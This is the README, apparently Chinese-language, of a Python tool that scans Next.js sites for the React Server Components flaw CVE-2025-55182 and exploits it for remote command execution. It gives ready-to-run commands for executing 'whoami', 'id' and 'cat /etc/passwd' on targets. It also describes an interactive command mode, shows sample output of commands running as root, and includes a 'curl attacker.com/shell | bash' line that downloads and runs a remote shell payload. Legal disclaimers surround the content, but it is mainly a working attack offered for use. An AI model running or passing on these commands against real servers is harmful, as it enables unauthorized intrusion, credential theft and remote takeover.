一个基于 Python 的安全扫描器,用于检测和利用 Next.js 应用中的 React Server Components (RSC) 漏洞。该工具支持被动检测、主动指纹识别和 RCE 漏洞利用测试。
⚠️ 警告:本工具仅用于授权的安全测试。未经授权访问计算机系统是非法的。在进行测试前,请务必获得书面许可。
✅ 被动检测 - 分析 HTML、响应头和页面结构中的 RSC 指标
✅ 主动指纹识别 - 发送 RSC 特定头部以检测服务器响应
✅ HTTP 头部分析 - 识别 Next.js 和 RSC 相关头部
✅ RCE 漏洞利用 - 在易受攻击的服务器上执行命令(如果可利用)
✅ 彩色终端输出 - 增强视觉反馈,提高可读性
✅ 交互模式 - 在漏洞利用模式下执行多个命令
✅ 稳健解码 - 处理 gzip 压缩和二进制载荷
克隆仓库
git clone https://github.com/mahaveer-choudhary/CVE-2025-55182.git
cd CVE-2025-55182
安装依赖
pip install -r requirements.txt
所需包:
requests>=2.28.0 - HTTP 客户端库urllib3>=1.26.0 - 高级 HTTP 工具colorama>=0.4.6 - 终端彩色输出(兼容 Windows)beautifulsoup4 - HTML 解析python rsc_detector.py https://example.com
python rsc_detector.py https://example.com --exploit
python rsc_detector.py https://example.com --exploit --cmd "whoami"
python rsc_detector.py https://example.com --exploit
然后在提示符下输入命令(输入 quit 退出)。
| 选项 | 描述 |
|---|---|
<URL> | 目标 URL(必需)。如果缺失,会自动添加 https:// 前缀 |
--exploit | 检测后启用 RCE 漏洞利用 |
--cmd <command> | 执行特定命令(与 --exploit 配合使用) |
检测 RSC 漏洞:
python rsc_detector.py https://target.com
利用漏洞并执行 id 命令:
python rsc_detector.py https://target.com --exploit --cmd "id"
利用漏洞并执行 cat /etc/passwd:
python rsc_detector.py https://target.com --exploit --cmd "cat /etc/passwd"
交互模式(多个命令):
python rsc_detector.py https://target.com --exploit
window.__next_f 标记(Next.js App Router)text/x-component Content-Type__NEXT_DATA__ 和 Next.js 导入Server、Vary 和 X-Nextjs-Cache 头部RSC: 1 头部的请求[*] 正在对 https://example.com 启动 RSC 检测扫描
====================================================================
[1] 执行被动扫描...
状态:已检测到
得分:80/100
- 发现:window.__next_f(App Router)
[2] 分析头部...
- Vary 头部包含 RSC:...
[3] 执行主动指纹识别...
状态:已检测到
- 响应 Content-Type 变为 text/x-component
- Vary 头部包含 'RSC'
====================================================================
[最终结果] 存在漏洞
[!] 该应用似乎易受 RSC 攻击!
建议:可能可以进行 RCE 漏洞利用
[*] 执行命令:whoami
[+] 命令执行成功!
[输出]
root
CVE-2025-55182 利用了以下漏洞:
child_process.execSync())本工具严格仅用于授权安全测试:
未经授权的计算机访问是违法的,依据以下法律:
如果你使用本工具发现了漏洞:
该工具默认忽略 SSL 验证。要启用验证:
detector = RSCDetector(url, verify_ssl=True)
该工具会自动:
在代码中增加超时时间:
response = self.session.get(self.url, timeout=30) # 30 秒
CVE-2025-55182/
├── README.md # 本文件
├── requirements.txt # Python 依赖
├── rsc_detector.py # 主要扫描器和漏洞利用引擎
├── rsc_cli.py # CLI 工具(如果存在)
├── script.py # 附加脚本(如果存在)
├── COLOR_GUIDE.md # 彩色输出文档
└── .gitignore # Git 忽略规则
requests>=2.28.0 # HTTP 请求
urllib3>=1.26.0 # 高级 HTTP
beautifulsoup4>=4.11.0 # HTML 解析
colorama>=0.4.6 # 终端颜色(Windows)
一键安装:
pip install -r requirements.txt
--exploit 标志python rsc_detector.py https://target.com --exploit --cmd "curl attacker.com/shell | bash"
python rsc_detector.py https://target.com > scan_results.txt 2>&1
for url in https://site1.com https://site2.com; do
python rsc_detector.py "$url"
done
发现错误或有改进建议?欢迎贡献!
git checkout -b feature/improvement)git commit -am 'Add feature')git push origin feature/improvement)THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND.
THE AUTHORS ASSUME NO LIABILITY FOR MISUSE OR UNAUTHORIZED ACCESS.
USE AT YOUR OWN RISK AND ONLY WITH PROPER AUTHORIZATION.
本项目仅用于教育和授权的安全测试目的。
为安全研究和授权渗透测试而创建。
最后更新:2025 年 12 月 19 日
请记住:能力越大,责任越大。请合法且合乎道德地使用此工具。